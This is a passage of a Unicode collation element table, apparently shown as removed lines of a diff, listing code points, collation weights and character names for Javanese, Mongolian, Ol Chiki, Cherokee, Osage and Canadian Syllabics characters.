-A9BD ; [.32D3.0020.0002] # JAVANESE CONSONANT SIGN KERET -A9BA ; [.32D4.0020.0002] # JAVANESE VOWEL SIGN TALING -A9BB ; [.32D5.0020.0002] # JAVANESE VOWEL SIGN DIRGA MURE -A9B5 ; [.32D6.0020.0002] # JAVANESE VOWEL SIGN TOLONG -A9C0 ; [.32D7.0020.0002] # JAVANESE PANGKON -1880 ; [.32D8.0020.0002] # MONGOLIAN LETTER ALI GALI ANUSVARA ONE -1881 ; [.32D9.0020.0002] # MONGOLIAN LETTER ALI GALI VISARGA ONE -1882 ; [.32DA.0020.0002] # MONGOLIAN LETTER ALI GALI DAMARU -1883 ; [.32DB.0020.0002] # MONGOLIAN LETTER ALI GALI UBADAMA -1884 ; [.32DC.0020.0002] # MONGOLIAN LETTER ALI GALI INVERTED UBADAMA -1885 ; [.32DD.0020.0002] # MONGOLIAN LETTER ALI GALI BALUDA -1886 ; [.32DE.0020.0002] # MONGOLIAN LETTER ALI GALI THREE BALUDA -1843 ; [.32DF.0020.0002] # MONGOLIAN LETTER TODO LONG VOWEL SIGN -1820 ; [.32E0.0020.0002] # MONGOLIAN LETTER A -1887 ; [.32E1.0020.0002] # MONGOLIAN LETTER ALI GALI A -1821 ; [.32E2.0020.0002] # MONGOLIAN LETTER E -1844 ; [.32E3.0020.0002] # MONGOLIAN LETTER TODO E -185D ; [.32E4.0020.0002] # MONGOLIAN LETTER SIBE E -1822 ; [.32E5.0020.0002] # MONGOLIAN LETTER I -1845 ; [.32E6.0020.0002] # MONGOLIAN LETTER TODO I -185E ; [.32E7.0020.0002] # MONGOLIAN LETTER SIBE I -1873 ; [.32E8.0020.0002] # MONGOLIAN LETTER MANCHU I -1888 ; [.32E9.0020.0002] # MONGOLIAN LETTER ALI GALI I -185F ; [.32EA.0020.0002] # MONGOLIAN LETTER SIBE IY -1823 ; [.32EB.0020.0002] # MONGOLIAN LETTER O -1846 ; [.32EC.0020.0002] # MONGOLIAN LETTER TODO O -1824 ; [.32ED.0020.0002] # MONGOLIAN LETTER U -1847 ; [.32EE.0020.0002] # MONGOLIAN LETTER TODO U -1861 ; [.32EF.0020.0002] # MONGOLIAN LETTER SIBE U -1825 ; [.32F0.0020.0002] # MONGOLIAN LETTER OE -1848 ; [.32F1.0020.0002] # MONGOLIAN LETTER TODO OE -1826 ; [.32F2.0020.0002] # MONGOLIAN LETTER UE -1849 ; [.32F3.0020.0002] # MONGOLIAN LETTER TODO UE -1860 ; [.32F4.0020.0002] # MONGOLIAN LETTER SIBE UE -1827 ; [.32F5.0020.0002] # MONGOLIAN LETTER EE -1828 ; [.32F6.0020.0002] # MONGOLIAN LETTER NA -1829 ; [.32F7.0020.0002] # MONGOLIAN LETTER ANG -184A ; [.32F8.0020.0002] # MONGOLIAN LETTER TODO ANG -1862 ; [.32F9.0020.0002] # MONGOLIAN LETTER SIBE ANG -188A ; [.32FA.0020.0002] # MONGOLIAN LETTER ALI GALI NGA -189B ; [.32FB.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI NGA -182A ; [.32FC.0020.0002] # MONGOLIAN LETTER BA -184B ; [.32FD.0020.0002] # MONGOLIAN LETTER TODO BA -182B ; [.32FE.0020.0002] # MONGOLIAN LETTER PA -184C ; [.32FF.0020.0002] # MONGOLIAN LETTER TODO PA -1866 ; [.3300.0020.0002] # MONGOLIAN LETTER SIBE PA -182C ; [.3301.0020.0002] # MONGOLIAN LETTER QA -184D ; [.3302.0020.0002] # MONGOLIAN LETTER TODO QA -182D ; [.3303.0020.0002] # MONGOLIAN LETTER GA -184E ; [.3304.0020.0002] # MONGOLIAN LETTER TODO GA -1864 ; [.3305.0020.0002] # MONGOLIAN LETTER SIBE GA -189A ; [.3306.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI GHA -1865 ; [.3307.0020.0002] # MONGOLIAN LETTER SIBE HA -182E ; [.3308.0020.0002] # MONGOLIAN LETTER MA -184F ; [.3309.0020.0002] # MONGOLIAN LETTER TODO MA -182F ; [.330A.0020.0002] # MONGOLIAN LETTER LA -1830 ; [.330B.0020.0002] # MONGOLIAN LETTER SA -1831 ; [.330C.0020.0002] # MONGOLIAN LETTER SHA -1867 ; [.330D.0020.0002] # MONGOLIAN LETTER SIBE SHA -189C ; [.330E.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI CA -189D ; [.330F.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI JHA -18A2 ; [.3310.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI SSA -18A4 ; [.3311.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI ZHA -18A5 ; [.3312.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI ZA -1832 ; [.3313.0020.0002] # MONGOLIAN LETTER TA -1850 ; [.3314.0020.0002] # MONGOLIAN LETTER TODO TA -1868 ; [.3315.0020.0002] # MONGOLIAN LETTER SIBE TA -1833 ; [.3316.0020.0002] # MONGOLIAN LETTER DA -1851 ; [.3317.0020.0002] # MONGOLIAN LETTER TODO DA -1869 ; [.3318.0020.0002] # MONGOLIAN LETTER SIBE DA -1834 ; [.3319.0020.0002] # MONGOLIAN LETTER CHA -1852 ; [.331A.0020.0002] # MONGOLIAN LETTER TODO CHA -1871 ; [.331B.0020.0002] # MONGOLIAN LETTER SIBE CHA -185C ; [.331C.0020.0002] # MONGOLIAN LETTER TODO DZA -188B ; [.331D.0020.0002] # MONGOLIAN LETTER ALI GALI CA -1835 ; [.331E.0020.0002] # MONGOLIAN LETTER JA -1853 ; [.331F.0020.0002] # MONGOLIAN LETTER TODO JA -186A ; [.3320.0020.0002] # MONGOLIAN LETTER SIBE JA -1877 ; [.3321.0020.0002] # MONGOLIAN LETTER MANCHU ZHA -1836 ; [.3322.0020.0002] # MONGOLIAN LETTER YA -1855 ; [.3323.0020.0002] # MONGOLIAN LETTER TODO YA -1872 ; [.3324.0020.0002] # MONGOLIAN LETTER SIBE ZHA -1837 ; [.3325.0020.0002] # MONGOLIAN LETTER RA -1875 ; [.3326.0020.0002] # MONGOLIAN LETTER MANCHU RA -1838 ; [.3327.0020.0002] # MONGOLIAN LETTER WA -1856 ; [.3328.0020.0002] # MONGOLIAN LETTER TODO WA -1839 ; [.3329.0020.0002] # MONGOLIAN LETTER FA -186B ; [.332A.0020.0002] # MONGOLIAN LETTER SIBE FA -1876 ; [.332B.0020.0002] # MONGOLIAN LETTER MANCHU FA -183A ; [.332C.0020.0002] # MONGOLIAN LETTER KA -1857 ; [.332D.0020.0002] # MONGOLIAN LETTER TODO KA -1863 ; [.332E.0020.0002] # MONGOLIAN LETTER SIBE KA -1874 ; [.332F.0020.0002] # MONGOLIAN LETTER MANCHU KA -1889 ; [.3330.0020.0002] # MONGOLIAN LETTER ALI GALI KA -183B ; [.3331.0020.0002] # MONGOLIAN LETTER KHA -183C ; [.3332.0020.0002] # MONGOLIAN LETTER TSA -1854 ; [.3333.0020.0002] # MONGOLIAN LETTER TODO TSA -186E ; [.3334.0020.0002] # MONGOLIAN LETTER SIBE TSA -183D ; [.3335.0020.0002] # MONGOLIAN LETTER ZA -186F ; [.3336.0020.0002] # MONGOLIAN LETTER SIBE ZA -1858 ; [.3337.0020.0002] # MONGOLIAN LETTER TODO GAA -186C ; [.3338.0020.0002] # MONGOLIAN LETTER SIBE GAA -183E ; [.3339.0020.0002] # MONGOLIAN LETTER HAA -1859 ; [.333A.0020.0002] # MONGOLIAN LETTER TODO HAA -186D ; [.333B.0020.0002] # MONGOLIAN LETTER SIBE HAA -183F ; [.333C.0020.0002] # MONGOLIAN LETTER ZRA -1840 ; [.333D.0020.0002] # MONGOLIAN LETTER LHA -1841 ; [.333E.0020.0002] # MONGOLIAN LETTER ZHI -1842 ; [.333F.0020.0002] # MONGOLIAN LETTER CHI -185A ; [.3340.0020.0002] # MONGOLIAN LETTER TODO JIA -185B ; [.3341.0020.0002] # MONGOLIAN LETTER TODO NIA -1870 ; [.3342.0020.0002] # MONGOLIAN LETTER SIBE RAA -188C ; [.3343.0020.0002] # MONGOLIAN LETTER ALI GALI TTA -189E ; [.3344.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI TTA -188D ; [.3345.0020.0002] # MONGOLIAN LETTER ALI GALI TTHA -188E ; [.3346.0020.0002] # MONGOLIAN LETTER ALI GALI DDA -189F ; [.3347.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI DDHA -188F ; [.3348.0020.0002] # MONGOLIAN LETTER ALI GALI NNA -1890 ; [.3349.0020.0002] # MONGOLIAN LETTER ALI GALI TA -1898 ; [.334A.0020.0002] # MONGOLIAN LETTER TODO ALI GALI TA -18A0 ; [.334B.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI TA -1891 ; [.334C.0020.0002] # MONGOLIAN LETTER ALI GALI DA -18A1 ; [.334D.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI DHA -1892 ; [.334E.0020.0002] # MONGOLIAN LETTER ALI GALI PA -1893 ; [.334F.0020.0002] # MONGOLIAN LETTER ALI GALI PHA -18A8 ; [.3350.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI BHA -1894 ; [.3351.0020.0002] # MONGOLIAN LETTER ALI GALI SSA -18A3 ; [.3352.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI CYA -1895 ; [.3353.0020.0002] # MONGOLIAN LETTER ALI GALI ZHA -1899 ; [.3354.0020.0002] # MONGOLIAN LETTER TODO ALI GALI ZHA -1896 ; [.3355.0020.0002] # MONGOLIAN LETTER ALI GALI ZA -1897 ; [.3356.0020.0002] # MONGOLIAN LETTER ALI GALI AH -18A6 ; [.3357.0020.0002] # MONGOLIAN LETTER ALI GALI HALF U -18A7 ; [.3358.0020.0002] # MONGOLIAN LETTER ALI GALI HALF YA -18AA ; [.3359.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI LHA -18A9 ; [.335A.0020.0002] # MONGOLIAN LETTER ALI GALI DAGALGA -1C5A ; [.335B.0020.0002] # OL CHIKI LETTER LA -1C5B ; [.335C.0020.0002] # OL CHIKI LETTER AT -1C5C ; [.335D.0020.0002] # OL CHIKI LETTER AG -1C5D ; [.335E.0020.0002] # OL CHIKI LETTER ANG -1C5E ; [.335F.0020.0002] # OL CHIKI LETTER AL -1C5F ; [.3360.0020.0002] # OL CHIKI LETTER LAA -1C60 ; [.3361.0020.0002] # OL CHIKI LETTER AAK -1C61 ; [.3362.0020.0002] # OL CHIKI LETTER AAJ -1C62 ; [.3363.0020.0002] # OL CHIKI LETTER AAM -1C63 ; [.3364.0020.0002] # OL CHIKI LETTER AAW -1C64 ; [.3365.0020.0002] # OL CHIKI LETTER LI -1C65 ; [.3366.0020.0002] # OL CHIKI LETTER IS -1C66 ; [.3367.0020.0002] # OL CHIKI LETTER IH -1C67 ; [.3368.0020.0002] # OL CHIKI LETTER INY -1C68 ; [.3369.0020.0002] # OL CHIKI LETTER IR -1C69 ; [.336A.0020.0002] # OL CHIKI LETTER LU -1C6A ; [.336B.0020.0002] # OL CHIKI LETTER UC -1C6B ; [.336C.0020.0002] # OL CHIKI LETTER UD -1C6C ; [.336D.0020.0002] # OL CHIKI LETTER UNN -1C6D ; [.336E.0020.0002] # OL CHIKI LETTER UY -1C6E ; [.336F.0020.0002] # OL CHIKI LETTER LE -1C6F ; [.3370.0020.0002] # OL CHIKI LETTER EP -1C70 ; [.3371.0020.0002] # OL CHIKI LETTER EDD -1C71 ; [.3372.0020.0002] # OL CHIKI LETTER EN -1C72 ; [.3373.0020.0002] # OL CHIKI LETTER ERR -1C73 ; [.3374.0020.0002] # OL CHIKI LETTER LO -1C74 ; [.3375.0020.0002] # OL CHIKI LETTER OTT -1C75 ; [.3376.0020.0002] # OL CHIKI LETTER OB -1C76 ; [.3377.0020.0002] # OL CHIKI LETTER OV -1C77 ; [.3378.0020.0002] # OL CHIKI LETTER OH -1C78 ; [.3379.0020.0002] # OL CHIKI MU TTUDDAG -1C79 ; [.337A.0020.0002] # OL CHIKI GAAHLAA TTUDDAAG -1C7A ; [.337B.0020.0002] # OL CHIKI MU-GAAHLAA TTUDDAAG -1C7B ; [.337C.0020.0002] # OL CHIKI RELAA -1C7C ; [.337D.0020.0002] # OL CHIKI PHAARKAA -1C7D ; [.337E.0020.0002] # OL CHIKI AHAD -AB70 ; [.337F.0020.0002] # CHEROKEE SMALL LETTER A -13A0 ; [.337F.0020.0008] # CHEROKEE LETTER A -AB71 ; [.3380.0020.0002] # CHEROKEE SMALL LETTER E -13A1 ; [.3380.0020.0008] # CHEROKEE LETTER E -AB72 ; [.3381.0020.0002] # CHEROKEE SMALL LETTER I -13A2 ; [.3381.0020.0008] # CHEROKEE LETTER I -AB73 ; [.3382.0020.0002] # CHEROKEE SMALL LETTER O -13A3 ; [.3382.0020.0008] # CHEROKEE LETTER O -AB74 ; [.3383.0020.0002] # CHEROKEE SMALL LETTER U -13A4 ; [.3383.0020.0008] # CHEROKEE LETTER U -AB75 ; [.3384.0020.0002] # CHEROKEE SMALL LETTER V -13A5 ; [.3384.0020.0008] # CHEROKEE LETTER V -AB76 ; [.3385.0020.0002] # CHEROKEE SMALL LETTER GA -13A6 ; [.3385.0020.0008] # CHEROKEE LETTER GA -AB77 ; [.3386.0020.0002] # CHEROKEE SMALL LETTER KA -13A7 ; [.3386.0020.0008] # CHEROKEE LETTER KA -AB78 ; [.3387.0020.0002] # CHEROKEE SMALL LETTER GE -13A8 ; [.3387.0020.0008] # CHEROKEE LETTER GE -AB79 ; [.3388.0020.0002] # CHEROKEE SMALL LETTER GI -13A9 ; [.3388.0020.0008] # CHEROKEE LETTER GI -AB7A ; [.3389.0020.0002] # CHEROKEE SMALL LETTER GO -13AA ; [.3389.0020.0008] # CHEROKEE LETTER GO -AB7B ; [.338A.0020.0002] # CHEROKEE SMALL LETTER GU -13AB ; [.338A.0020.0008] # CHEROKEE LETTER GU -AB7C ; [.338B.0020.0002] # CHEROKEE SMALL LETTER GV -13AC ; [.338B.0020.0008] # CHEROKEE LETTER GV -AB7D ; [.338C.0020.0002] # CHEROKEE SMALL LETTER HA -13AD ; [.338C.0020.0008] # CHEROKEE LETTER HA -AB7E ; [.338D.0020.0002] # CHEROKEE SMALL LETTER HE -13AE ; [.338D.0020.0008] # CHEROKEE LETTER HE -AB7F ; [.338E.0020.0002] # CHEROKEE SMALL LETTER HI -13AF ; [.338E.0020.0008] # CHEROKEE LETTER HI -AB80 ; [.338F.0020.0002] # CHEROKEE SMALL LETTER HO -13B0 ; [.338F.0020.0008] # CHEROKEE LETTER HO -AB81 ; [.3390.0020.0002] # CHEROKEE SMALL LETTER HU -13B1 ; [.3390.0020.0008] # CHEROKEE LETTER HU -AB82 ; [.3391.0020.0002] # CHEROKEE SMALL LETTER HV -13B2 ; [.3391.0020.0008] # CHEROKEE LETTER HV -AB83 ; [.3392.0020.0002] # CHEROKEE SMALL LETTER LA -13B3 ; [.3392.0020.0008] # CHEROKEE LETTER LA -AB84 ; [.3393.0020.0002] # CHEROKEE SMALL LETTER LE -13B4 ; [.3393.0020.0008] # CHEROKEE LETTER LE -AB85 ; [.3394.0020.0002] # CHEROKEE SMALL LETTER LI -13B5 ; [.3394.0020.0008] # CHEROKEE LETTER LI -AB86 ; [.3395.0020.0002] # CHEROKEE SMALL LETTER LO -13B6 ; [.3395.0020.0008] # CHEROKEE LETTER LO -AB87 ; [.3396.0020.0002] # CHEROKEE SMALL LETTER LU -13B7 ; [.3396.0020.0008] # CHEROKEE LETTER LU -AB88 ; [.3397.0020.0002] # CHEROKEE SMALL LETTER LV -13B8 ; [.3397.0020.0008] # CHEROKEE LETTER LV -AB89 ; [.3398.0020.0002] # CHEROKEE SMALL LETTER MA -13B9 ; [.3398.0020.0008] # CHEROKEE LETTER MA -AB8A ; [.3399.0020.0002] # CHEROKEE SMALL LETTER ME -13BA ; [.3399.0020.0008] # CHEROKEE LETTER ME -AB8B ; [.339A.0020.0002] # CHEROKEE SMALL LETTER MI -13BB ; [.339A.0020.0008] # CHEROKEE LETTER MI -AB8C ; [.339B.0020.0002] # CHEROKEE SMALL LETTER MO -13BC ; [.339B.0020.0008] # CHEROKEE LETTER MO -AB8D ; [.339C.0020.0002] # CHEROKEE SMALL LETTER MU -13BD ; [.339C.0020.0008] # CHEROKEE LETTER MU -AB8E ; [.339D.0020.0002] # CHEROKEE SMALL LETTER NA -13BE ; [.339D.0020.0008] # CHEROKEE LETTER NA -AB8F ; [.339E.0020.0002] # CHEROKEE SMALL LETTER HNA -13BF ; [.339E.0020.0008] # CHEROKEE LETTER HNA -AB90 ; [.339F.0020.0002] # CHEROKEE SMALL LETTER NAH -13C0 ; [.339F.0020.0008] # CHEROKEE LETTER NAH -AB91 ; [.33A0.0020.0002] # CHEROKEE SMALL LETTER NE -13C1 ; [.33A0.0020.0008] # CHEROKEE LETTER NE -AB92 ; [.33A1.0020.0002] # CHEROKEE SMALL LETTER NI -13C2 ; [.33A1.0020.0008] # CHEROKEE LETTER NI -AB93 ; [.33A2.0020.0002] # CHEROKEE SMALL LETTER NO -13C3 ; [.33A2.0020.0008] # CHEROKEE LETTER NO -AB94 ; [.33A3.0020.0002] # CHEROKEE SMALL LETTER NU -13C4 ; [.33A3.0020.0008] # CHEROKEE LETTER NU -AB95 ; [.33A4.0020.0002] # CHEROKEE SMALL LETTER NV -13C5 ; [.33A4.0020.0008] # CHEROKEE LETTER NV -AB96 ; [.33A5.0020.0002] # CHEROKEE SMALL LETTER QUA -13C6 ; [.33A5.0020.0008] # CHEROKEE LETTER QUA -AB97 ; [.33A6.0020.0002] # CHEROKEE SMALL LETTER QUE -13C7 ; [.33A6.0020.0008] # CHEROKEE LETTER QUE -AB98 ; [.33A7.0020.0002] # CHEROKEE SMALL LETTER QUI -13C8 ; [.33A7.0020.0008] # CHEROKEE LETTER QUI -AB99 ; [.33A8.0020.0002] # CHEROKEE SMALL LETTER QUO -13C9 ; [.33A8.0020.0008] # CHEROKEE LETTER QUO -AB9A ; [.33A9.0020.0002] # CHEROKEE SMALL LETTER QUU -13CA ; [.33A9.0020.0008] # CHEROKEE LETTER QUU -AB9B ; [.33AA.0020.0002] # CHEROKEE SMALL LETTER QUV -13CB ; [.33AA.0020.0008] # CHEROKEE LETTER QUV -AB9C ; [.33AB.0020.0002] # CHEROKEE SMALL LETTER SA -13CC ; [.33AB.0020.0008] # CHEROKEE LETTER SA -AB9D ; [.33AC.0020.0002] # CHEROKEE SMALL LETTER S -13CD ; [.33AC.0020.0008] # CHEROKEE LETTER S -AB9E ; [.33AD.0020.0002] # CHEROKEE SMALL LETTER SE -13CE ; [.33AD.0020.0008] # CHEROKEE LETTER SE -AB9F ; [.33AE.0020.0002] # CHEROKEE SMALL LETTER SI -13CF ; [.33AE.0020.0008] # CHEROKEE LETTER SI -ABA0 ; [.33AF.0020.0002] # CHEROKEE SMALL LETTER SO -13D0 ; [.33AF.0020.0008] # CHEROKEE LETTER SO -ABA1 ; [.33B0.0020.0002] # CHEROKEE SMALL LETTER SU -13D1 ; [.33B0.0020.0008] # CHEROKEE LETTER SU -ABA2 ; [.33B1.0020.0002] # CHEROKEE SMALL LETTER SV -13D2 ; [.33B1.0020.0008] # CHEROKEE LETTER SV -ABA3 ; [.33B2.0020.0002] # CHEROKEE SMALL LETTER DA -13D3 ; [.33B2.0020.0008] # CHEROKEE LETTER DA -ABA4 ; [.33B3.0020.0002] # CHEROKEE SMALL LETTER TA -13D4 ; [.33B3.0020.0008] # CHEROKEE LETTER TA -ABA5 ; [.33B4.0020.0002] # CHEROKEE SMALL LETTER DE -13D5 ; [.33B4.0020.0008] # CHEROKEE LETTER DE -ABA6 ; [.33B5.0020.0002] # CHEROKEE SMALL LETTER TE -13D6 ; [.33B5.0020.0008] # CHEROKEE LETTER TE -ABA7 ; [.33B6.0020.0002] # CHEROKEE SMALL LETTER DI -13D7 ; [.33B6.0020.0008] # CHEROKEE LETTER DI -ABA8 ; [.33B7.0020.0002] # CHEROKEE SMALL LETTER TI -13D8 ; [.33B7.0020.0008] # CHEROKEE LETTER TI -ABA9 ; [.33B8.0020.0002] # CHEROKEE SMALL LETTER DO -13D9 ; [.33B8.0020.0008] # CHEROKEE LETTER DO -ABAA ; [.33B9.0020.0002] # CHEROKEE SMALL LETTER DU -13DA ; [.33B9.0020.0008] # CHEROKEE LETTER DU -ABAB ; [.33BA.0020.0002] # CHEROKEE SMALL LETTER DV -13DB ; [.33BA.0020.0008] # CHEROKEE LETTER DV -ABAC ; [.33BB.0020.0002] # CHEROKEE SMALL LETTER DLA -13DC ; [.33BB.0020.0008] # CHEROKEE LETTER DLA -ABAD ; [.33BC.0020.0002] # CHEROKEE SMALL LETTER TLA -13DD ; [.33BC.0020.0008] # CHEROKEE LETTER TLA -ABAE ; [.33BD.0020.0002] # CHEROKEE SMALL LETTER TLE -13DE ; [.33BD.0020.0008] # CHEROKEE LETTER TLE -ABAF ; [.33BE.0020.0002] # CHEROKEE SMALL LETTER TLI -13DF ; [.33BE.0020.0008] # CHEROKEE LETTER TLI -ABB0 ; [.33BF.0020.0002] # CHEROKEE SMALL LETTER TLO -13E0 ; [.33BF.0020.0008] # CHEROKEE LETTER TLO -ABB1 ; [.33C0.0020.0002] # CHEROKEE SMALL LETTER TLU -13E1 ; [.33C0.0020.0008] # CHEROKEE LETTER TLU -ABB2 ; [.33C1.0020.0002] # CHEROKEE SMALL LETTER TLV -13E2 ; [.33C1.0020.0008] # CHEROKEE LETTER TLV -ABB3 ; [.33C2.0020.0002] # CHEROKEE SMALL LETTER TSA -13E3 ; [.33C2.0020.0008] # CHEROKEE LETTER TSA -ABB4 ; [.33C3.0020.0002] # CHEROKEE SMALL LETTER TSE -13E4 ; [.33C3.0020.0008] # CHEROKEE LETTER TSE -ABB5 ; [.33C4.0020.0002] # CHEROKEE SMALL LETTER TSI -13E5 ; [.33C4.0020.0008] # CHEROKEE LETTER TSI -ABB6 ; [.33C5.0020.0002] # CHEROKEE SMALL LETTER TSO -13E6 ; [.33C5.0020.0008] # CHEROKEE LETTER TSO -ABB7 ; [.33C6.0020.0002] # CHEROKEE SMALL LETTER TSU -13E7 ; [.33C6.0020.0008] # CHEROKEE LETTER TSU -ABB8 ; [.33C7.0020.0002] # CHEROKEE SMALL LETTER TSV -13E8 ; [.33C7.0020.0008] # CHEROKEE LETTER TSV -ABB9 ; [.33C8.0020.0002] # CHEROKEE SMALL LETTER WA -13E9 ; [.33C8.0020.0008] # CHEROKEE LETTER WA -ABBA ; [.33C9.0020.0002] # CHEROKEE SMALL LETTER WE -13EA ; [.33C9.0020.0008] # CHEROKEE LETTER WE -ABBB ; [.33CA.0020.0002] # CHEROKEE SMALL LETTER WI -13EB ; [.33CA.0020.0008] # CHEROKEE LETTER WI -ABBC ; [.33CB.0020.0002] # CHEROKEE SMALL LETTER WO -13EC ; [.33CB.0020.0008] # CHEROKEE LETTER WO -ABBD ; [.33CC.0020.0002] # CHEROKEE SMALL LETTER WU -13ED ; [.33CC.0020.0008] # CHEROKEE LETTER WU -ABBE ; [.33CD.0020.0002] # CHEROKEE SMALL LETTER WV -13EE ; [.33CD.0020.0008] # CHEROKEE LETTER WV -ABBF ; [.33CE.0020.0002] # CHEROKEE SMALL LETTER YA -13EF ; [.33CE.0020.0008] # CHEROKEE LETTER YA -13F8 ; [.33CF.0020.0002] # CHEROKEE SMALL LETTER YE -13F0 ; [.33CF.0020.0008] # CHEROKEE LETTER YE -13F9 ; [.33D0.0020.0002] # CHEROKEE SMALL LETTER YI -13F1 ; [.33D0.0020.0008] # CHEROKEE LETTER YI -13FA ; [.33D1.0020.0002] # CHEROKEE SMALL LETTER YO -13F2 ; [.33D1.0020.0008] # CHEROKEE LETTER YO -13FB ; [.33D2.0020.0002] # CHEROKEE SMALL LETTER YU -13F3 ; [.33D2.0020.0008] # CHEROKEE LETTER YU -13FC ; [.33D3.0020.0002] # CHEROKEE SMALL LETTER YV -13F4 ; [.33D3.0020.0008] # CHEROKEE LETTER YV -13FD ; [.33D4.0020.0002] # CHEROKEE SMALL LETTER MV -13F5 ; [.33D4.0020.0008] # CHEROKEE LETTER MV -104D8 ; [.33D5.0020.0002] # OSAGE SMALL LETTER A -104B0 ; [.33D5.0020.0008] # OSAGE CAPITAL LETTER A -104D9 ; [.33D6.0020.0002] # OSAGE SMALL LETTER AI -104B1 ; [.33D6.0020.0008] # OSAGE CAPITAL LETTER AI -104DA ; [.33D7.0020.0002] # OSAGE SMALL LETTER AIN -104B2 ; [.33D7.0020.0008] # OSAGE CAPITAL LETTER AIN -104DB ; [.33D8.0020.0002] # OSAGE SMALL LETTER AH -104B3 ; [.33D8.0020.0008] # OSAGE CAPITAL LETTER AH -104DC ; [.33D9.0020.0002] # OSAGE SMALL LETTER BRA -104B4 ; [.33D9.0020.0008] # OSAGE CAPITAL LETTER BRA -104DD ; [.33DA.0020.0002] # OSAGE SMALL LETTER CHA -104B5 ; [.33DA.0020.0008] # OSAGE CAPITAL LETTER CHA -104DE ; [.33DB.0020.0002] # OSAGE SMALL LETTER EHCHA -104B6 ; [.33DB.0020.0008] # OSAGE CAPITAL LETTER EHCHA -104DF ; [.33DC.0020.0002] # OSAGE SMALL LETTER E -104B7 ; [.33DC.0020.0008] # OSAGE CAPITAL LETTER E -104E0 ; [.33DD.0020.0002] # OSAGE SMALL LETTER EIN -104B8 ; [.33DD.0020.0008] # OSAGE CAPITAL LETTER EIN -104E1 ; [.33DE.0020.0002] # OSAGE SMALL LETTER HA -104B9 ; [.33DE.0020.0008] # OSAGE CAPITAL LETTER HA -104E2 ; [.33DF.0020.0002] # OSAGE SMALL LETTER HYA -104BA ; [.33DF.0020.0008] # OSAGE CAPITAL LETTER HYA -104E3 ; [.33E0.0020.0002] # OSAGE SMALL LETTER I -104BB ; [.33E0.0020.0008] # OSAGE CAPITAL LETTER I -104E4 ; [.33E1.0020.0002] # OSAGE SMALL LETTER KA -104BC ; [.33E1.0020.0008] # OSAGE CAPITAL LETTER KA -104E5 ; [.33E2.0020.0002] # OSAGE SMALL LETTER EHKA -104BD ; [.33E2.0020.0008] # OSAGE CAPITAL LETTER EHKA -104E6 ; [.33E3.0020.0002] # OSAGE SMALL LETTER KYA -104BE ; [.33E3.0020.0008] # OSAGE CAPITAL LETTER KYA -104E7 ; [.33E4.0020.0002] # OSAGE SMALL LETTER LA -104BF ; [.33E4.0020.0008] # OSAGE CAPITAL LETTER LA -104E8 ; [.33E5.0020.0002] # OSAGE SMALL LETTER MA -104C0 ; [.33E5.0020.0008] # OSAGE CAPITAL LETTER MA -104E9 ; [.33E6.0020.0002] # OSAGE SMALL LETTER NA -104C1 ; [.33E6.0020.0008] # OSAGE CAPITAL LETTER NA -104EA ; [.33E7.0020.0002] # OSAGE SMALL LETTER O -104C2 ; [.33E7.0020.0008] # OSAGE CAPITAL LETTER O -104EB ; [.33E8.0020.0002] # OSAGE SMALL LETTER OIN -104C3 ; [.33E8.0020.0008] # OSAGE CAPITAL LETTER OIN -104EC ; [.33E9.0020.0002] # OSAGE SMALL LETTER PA -104C4 ; [.33E9.0020.0008] # OSAGE CAPITAL LETTER PA -104ED ; [.33EA.0020.0002] # OSAGE SMALL LETTER EHPA -104C5 ; [.33EA.0020.0008] # OSAGE CAPITAL LETTER EHPA -104EE ; [.33EB.0020.0002] # OSAGE SMALL LETTER SA -104C6 ; [.33EB.0020.0008] # OSAGE CAPITAL LETTER SA -104EF ; [.33EC.0020.0002] # OSAGE SMALL LETTER SHA -104C7 ; [.33EC.0020.0008] # OSAGE CAPITAL LETTER SHA -104F0 ; [.33ED.0020.0002] # OSAGE SMALL LETTER TA -104C8 ; [.33ED.0020.0008] # OSAGE CAPITAL LETTER TA -104F1 ; [.33EE.0020.0002] # OSAGE SMALL LETTER EHTA -104C9 ; [.33EE.0020.0008] # OSAGE CAPITAL LETTER EHTA -104F2 ; [.33EF.0020.0002] # OSAGE SMALL LETTER TSA -104CA ; [.33EF.0020.0008] # OSAGE CAPITAL LETTER TSA -104F3 ; [.33F0.0020.0002] # OSAGE SMALL LETTER EHTSA -104CB ; [.33F0.0020.0008] # OSAGE CAPITAL LETTER EHTSA -104F4 ; [.33F1.0020.0002] # OSAGE SMALL LETTER TSHA -104CC ; [.33F1.0020.0008] # OSAGE CAPITAL LETTER TSHA -104F5 ; [.33F2.0020.0002] # OSAGE SMALL LETTER DHA -104CD ; [.33F2.0020.0008] # OSAGE CAPITAL LETTER DHA -104F6 ; [.33F3.0020.0002] # OSAGE SMALL LETTER U -104CE ; [.33F3.0020.0008] # OSAGE CAPITAL LETTER U -104F7 ; [.33F4.0020.0002] # OSAGE SMALL LETTER WA -104CF ; [.33F4.0020.0008] # OSAGE CAPITAL LETTER WA -104F8 ; [.33F5.0020.0002] # OSAGE SMALL LETTER KHA -104D0 ; [.33F5.0020.0008] # OSAGE CAPITAL LETTER KHA -104F9 ; [.33F6.0020.0002] # OSAGE SMALL LETTER GHA -104D1 ; [.33F6.0020.0008] # OSAGE CAPITAL LETTER GHA -104FA ; [.33F7.0020.0002] # OSAGE SMALL LETTER ZA -104D2 ; [.33F7.0020.0008] # OSAGE CAPITAL LETTER ZA -104FB ; [.33F8.0020.0002] # OSAGE SMALL LETTER ZHA -104D3 ; [.33F8.0020.0008] # OSAGE CAPITAL LETTER ZHA -1401 ; [.33F9.0020.0002] # CANADIAN SYLLABICS E -1402 ; [.33FA.0020.0002] # CANADIAN SYLLABICS AAI -1403 ; [.33FB.0020.0002] # CANADIAN SYLLABICS I -1404 ; [.33FC.0020.0002] # CANADIAN SYLLABICS II -1405 ; [.33FD.0020.0002] # CANADIAN SYLLABICS O -1406 ; [.33FE.0020.0002] # CANADIAN SYLLABICS OO -1407 ; 